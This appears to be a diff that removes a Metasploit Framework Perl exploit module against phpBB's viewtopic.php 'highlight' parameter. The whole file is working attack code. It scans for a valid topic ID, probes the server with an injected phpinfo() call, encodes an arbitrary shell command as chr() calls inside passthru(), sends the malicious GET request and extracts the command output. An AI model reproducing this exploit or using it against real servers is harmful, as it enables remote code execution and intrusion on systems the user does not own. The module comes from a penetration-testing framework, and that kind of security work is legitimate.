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-
- ##
- # This file is part of the Metasploit Framework and may be redistributed
- # according to the licenses defined in the Authors field below. In the
- # case of an unknown or missing license, this file defaults to the same
- # license as the core Framework (dual GPLv2 and Artistic). The latest
- # version of the Framework can always be obtained from metasploit.com.
- ##
-
- package Msf::Exploit::phpbb_highlight;
- use base "Msf::Exploit";
- use Pex::Text;
- use strict;
-
- my $advanced = { };
-
- my $info =
- {
- 'Name' => 'phpBB viewtopic.php Arbitrary Code Execution',
- 'Version' => '$Revision: 1.6 $',
- 'Authors' =>
- [
- 'Valsmith <mvalsmith[at]gmail.com>',
- 'H D Moore <hdm [at] metasploit.com>',
- ],
-
- 'Arch' => [ ],
- 'OS' => [ ],
- 'Priv' => 0,
-
- 'UserOpts' =>
- {
- 'RHOST' => [1, 'ADDR', 'The target address'],
- 'RPORT' => [1, 'PORT', 'The target port', 80],
- 'VHOST' => [0, 'DATA', 'The virtual host name of the server'],
- 'PHPBB_ROOT' => [1, 'URL', 'The phpBB root Directory', '/phpbb'],
- 'TOPIC' => [0, 'DATA', 'The ID of a valid topic'],
- 'SSL' => [0, 'BOOL', 'Use SSL'],
- },
-
- 'Payload' =>
- {
- 'Space' => 1024,
- 'Keys' => ['cmd', 'cmd_bash'],
- },
-
- 'Description' => Pex::Text::Freeform(qq{
- This module exploits two arbitrary PHP code execution flaws in the
- phpBB forum system. The problem is that the 'highlight' parameter
- in the 'viewtopic.php' script is not verified properly and will
- allow an attacker to inject arbitrary code via preg_replace().
- }),
-
- 'Refs' =>
- [
- ['OSVDB', '11719'],
- ['OSVDB', '17613'],
- ['MIL', '85'],
- ['BID', '14086'],
- ],
-
- 'DefaultTarget' => 0,
- 'Targets' =>
- [
- ['Autotarget',0],
- ['phpbb <2.0.11', 1],
- ['phpbb <2.0.15', 2],
- ],
-
- 'Keys' => ['phpBB'],
-
- 'DisclosureDate' => 'Nov 12 2004',
- };
-
- sub new {
- my $class = shift;
- my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
- return($self);
- }
-
- sub Exploit {
- my $self = shift;
- my $target_host = $self->GetVar('RHOST');
- my $target_port = $self->GetVar('RPORT');
- my $vhost = $self->GetVar('VHOST') || $target_host;
- my $cmd = $self->GetVar('EncodedPayload')->RawPayload;
- my $target_idx = $self->GetVar('TARGET');
- my $phpbb_root = $self->GetVar('PHPBB_ROOT');
- my $topic = $self->GetVar('TOPIC') || $self->FindTopic();
- my $target = $self->Targets->[$target_idx];
- my $url;
- my $byte;
-
- if (! $topic) {
- $self->PrintLine("[*] No valid topic ID found, please specify the TOPIC option.");
- return;
- }
-
- # Add an echo on each end for easy output capturing
- $cmd = "echo _cmd_beg_;".$cmd.";echo _cmd_end_";
-
- # Encode the command as a set of chr() function calls
-
- if ($target_idx == 0) {
-
- $url = $phpbb_root."/viewtopic.php?t=$topic&highlight=";
- $url .= "%2527"."%252e"."phpinfo()". "%252e"."%2527";
-
- my $request =
- "GET $url HTTP/1.1\r\n".
- "Host: $vhost:$target_port\r\n".
- "Connection: Close\r\n".
- "\r\n";
-
- $self->PrintLine("[*] Trying to determine which attack method to use...");
- my $s = Msf::Socket::Tcp->new
- (
- 'PeerAddr' => $target_host,
- 'PeerPort' => $target_port,
- 'SSL' => $self->GetVar('SSL'),
- );
- if ($s->IsError) {
- $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
- return;
- }
-
- $s->Send($request);
- my $results = $s->Recv(-1, 20);
- $s->Close();
-
- if ($results =~ /\<title>phpinfo/) {
- $target_idx = 1;
- }
-
- else { $target_idx = 2; }
-
- }
-
- if ($target_idx =~ /1/) {
- $byte = join('%252e', map { $_ = 'chr('.$_.')' } unpack('C*', $cmd));
- $url = $phpbb_root."/viewtopic.php?t=$topic&highlight=";
- $url .= "%2527"."%252e"."passthru($byte)". "%252e"."%2527";
- }
-
- if ($target_idx =~ /2/) {
- $byte = join('.', map { $_ = 'chr('.$_.')' } unpack('C*', $cmd));
- $url = $phpbb_root."/viewtopic.php?t=$topic&highlight=";
- $url .= "%27."."passthru($byte)".".%27";
-
- }
-
- my $request =
- "GET $url HTTP/1.1\r\n".
- "Host: $vhost:$target_port\r\n".
- "Connection: Close\r\n".
- "\r\n";
-
- $self->PrintLine("[*] Sending the malicious GET request...");
- my $s = Msf::Socket::Tcp->new
- (
- 'PeerAddr' => $target_host,
- 'PeerPort' => $target_port,
- 'SSL' => $self->GetVar('SSL'),
- );
- if ($s->IsError) {
- $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
- return;
- }
-
- $s->Send($request);
- my $results = $s->Recv(-1, 20);
- $s->Close();
-
- if ($results =~ m/_cmd_beg_(.*)_cmd_end_/ms) {
- my $out = $1;
- $out =~ s/^\s+|\s+$//gs;
- if ($out) {
- $self->PrintLine('----------------------------------------');
- $self->PrintLine('');
- $self->PrintLine($out);
- $self->PrintLine('');
- $self->PrintLine('----------------------------------------');
- }
- }
-
- return;
- }
-
- sub FindTopic {
- my $self = shift;
- my $target_host = $self->GetVar('RHOST');
- my $target_port = $self->GetVar('RPORT');
- my $vhost = $self->GetVar('VHOST') || $target_host;
- my $phpbb_root = $self->GetVar('PHPBB_ROOT');
-
- for (my $topic = 1; $topic < 32; $topic++ ) {
-
- my $s = Msf::Socket::Tcp->new
- (
- 'PeerAddr' => $target_host,
- 'PeerPort' => $target_port,
- 'SSL' => $self->GetVar('SSL'),
- );
-
- if ($s->IsError) {
- $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
- return;
- }
-
- $self->PrintLine("[*] Checking topic ID value $topic...");
-
- my $request =
- "GET $phpbb_root/viewtopic.php?topic=$topic HTTP/1.1\r\n".
- "Host: $vhost:$target_port\r\n".
- "Connection: Close\r\n".
- "\r\n";
-
- $s->Send($request);
- my $results = $s->Recv(-1, 20);
- $s->Close();
-
- if ($results =~ /class="postdetails"/s) {;
- $self->PrintLine("[*] Discovered valid topic ID value $topic");
- return $topic;
- }
- }
-
- return;
- }
-
- 1;
-